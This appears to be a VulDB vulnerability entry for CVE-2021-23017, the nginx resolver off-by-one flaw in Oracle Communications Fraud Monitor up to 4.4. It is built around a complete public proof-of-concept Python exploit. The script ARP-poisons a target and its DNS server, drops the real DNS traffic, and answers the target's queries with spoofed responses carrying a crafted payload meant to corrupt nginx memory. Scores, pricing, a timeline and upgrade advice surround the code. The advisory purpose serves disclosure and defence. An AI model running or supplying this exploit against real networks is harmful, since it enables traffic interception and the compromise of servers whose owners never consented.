Oracle Communications Fraud Monitor up to 4.4 nginx off-by-one

CVSS Meta Temp Score
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Current Exploit Price (≈)
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CTI Interest Score
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9.2$0-$5k0.03

A vulnerability was found in Oracle Communications Fraud Monitor up to 4.4 (Cloud Software) and classified as very critical. This issue affects an unknown code of the component nginx. Using CWE to declare the problem leads to CWE-193. A product calculates or uses an incorrect maximum or minimum value that is 1 more, or 1 less, than the correct value. Impacted is confidentiality, integrity, and availability.

The weakness was published 10/19/2021 as Oracle Critical Patch Update Advisory - October 2021. The advisory is shared at oracle.com. The identification of this vulnerability is CVE-2021-23017. Technical details are unknown but a public exploit is available. The price for an exploit might be around USD $0-$5k at the moment (estimation calculated on 03/05/2023).

A public exploit has been developed by mohadsec (M507). The exploit is available at github.com. It is declared as proof-of-concept. We expect the 0-day to have been worth approximately $25k-$100k. The code used by the exploit is:

# This PoC is written by github.com/M507
# Discovered by X41 D-SEC GmbH, Luis Merino, Markus Vervier, Eric Sesterhenn
from scapy.all import *
from multiprocessing import Process
from binascii import hexlify, unhexlify
import argparse, time, os

def device_setup():
    os.system("echo '1' >> /proc/sys/net/ipv4/ip_forward")
    os.system("iptables -A FORWARD -p UDP --dport 53 -j DROP")

def ARPP(target, dns_server):
    print("[*] Sending poisoned ARP packets")
    target_mac = getmacbyip(target)
    dns_server_mac = getmacbyip(dns_server)
    while True:
        time.sleep(2)
        send(ARP(op=2, pdst=target, psrc=dns_server, hwdst=target_mac),verbose = 0)
        send(ARP(op=2, pdst=dns_server, psrc=target, hwdst=dns_server_mac),verbose = 0)

def exploit(target):
    print("[*] Listening ")
    sniff (filter="udp and port 53 and host " + target, prn = process_received_packet)

"""
RFC schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             LENGTH            |               ID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Q| OPCODE|A|T|R|R|Z|A|C| RCODE |            QDCOUNT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ANCOUNT            |            NSCOUNT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ARCOUNT            |               QD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               AN              |               NS              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               AR              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Fig. DNS                             

"""
def process_received_packet(received_packet):
    if received_packet[IP].src == target_ip:
        if received_packet.haslayer(DNS):
            if DNSQR in received_packet:
                print("[*] the received packet: " + str(bytes_hex(received_packet)))
                print("[*] the received DNS request: " + str(bytes_hex(received_packet[DNS].build())))
                try:
                    # \/    the received DNS request
                    dns_request = received_packet[DNS].build()
                    null_pointer_index = bytes(received_packet[DNS].build()).find(0x00,12)
                    print("[*] debug: dns_request[:null_pointer_index] : "+str(hexlify(dns_request[:null_pointer_index])))
                    print("[*] debug: dns_request[null_pointer_index:] : "+str(hexlify(dns_request[null_pointer_index:])))
                    payload = [
                        dns_request[0:2],
                        b"\x81\x80\x00\x01\x00\x01\x00\x00\x00\x00",
                        dns_request[12:null_pointer_index+1],
                        dns_request[null_pointer_index+1:null_pointer_index+3],
                        dns_request[null_pointer_index+3:null_pointer_index+5],
                        b"\xC0\x0C\x00\x05\x00\x01\x00\x00\x0E\x10",
                        b"\x00\x0B\x18\x41\x41\x41\x41\x41\x41\x41",
                        b"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41",
                        b"\x41\x41\x41\x41\x41\x41\x41\xC0\x04"
                    ]
                    
                    payload = b"".join(payload)
                    spoofed_pkt = (Ether()/IP(dst=received_packet[IP].src, src=received_packet[IP].dst)/\
                        UDP(dport=received_packet[UDP].sport, sport=received_packet[UDP].dport)/\
                        payload)
                    print("[+] dns answer: "+str(hexlify(payload)))
                    print("[+] full packet: " + str(bytes_hex(spoofed_pkt)))

                    sendp(spoofed_pkt, count=1)
                    print("\n[+] malicious answer was sent")
                    print("[+] exploited\n")
                except:
                    print("\n[-] ERROR")

def main():
    global target_ip
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", help="IP address of the target")
    parser.add_argument("-r", "--dns_server", help="IP address of the DNS server used by the target")
    args = parser.parse_args()
    target_ip = args.target
    dns_server_ip = args.dns_server
    device_setup()
    processes_list = []
    ARPPProcess = Process(target=ARPP,args=(target_ip,dns_server_ip))
    exploitProcess = Process(target=exploit,args=(target_ip,))
    processes_list.append(ARPPProcess)
    processes_list.append(exploitProcess)
    for process in processes_list:
        process.start()
    for process in processes_list:
        process.join()

if __name__ == '__main__':
    target_ip = ""
    main()

Upgrading eliminates this vulnerability. A possible mitigation has been published immediately after the disclosure of the vulnerability.

Similar entries are available at VDB-185050, VDB-185051, VDB-185052 and VDB-185053.

Productinfo

Type

Vendor

Name

Version

License

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB CVSS-B Score: 🔍
VulDB CVSS-BT Score: 🔍
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 9.4
VulDB Meta Temp Score: 9.2

VulDB Base Score: 9.4
VulDB Temp Score: 9.0
VulDB Vector: 🔍
VulDB Reliability: 🔍

NVD Base Score: 9.4
NVD Vector: 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VectorComplexityAuthenticationConfidentialityIntegrityAvailability
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VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Off-by-one
CWE: CWE-193 / CWE-189
CAPEC: 🔍
ATT&CK: 🔍

Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: mohadsec (M507)
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

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Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: Upgrade
Status: 🔍

Reaction Time: 🔍
0-Day Time: 🔍
Exposure Time: 🔍

Timelineinfo

01/06/2021 🔍
10/19/2021 +285 days 🔍
10/19/2021 +0 days 🔍
10/20/2021 +1 days 🔍
03/05/2023 +501 days 🔍

Sourcesinfo

Vendor: oracle.com

Advisory: Oracle Critical Patch Update Advisory - October 2021
Status: Confirmed
Confirmation: 🔍

CVE: CVE-2021-23017 (🔍)
scip Labs: https://www.scip.ch/en/?labs.20161013
See also: 🔍

Entryinfo

Created: 10/20/2021 08:09
Updated: 03/05/2023 10:50
Changes: 10/20/2021 08:09 (39), 10/23/2021 18:36 (3), 10/23/2021 18:45 (18), 03/05/2023 10:47 (6), 03/05/2023 10:48 (1), 03/05/2023 10:50 (1)
Complete: 🔍
Committer: ajmeese7
Cache ID: 3:37D:103

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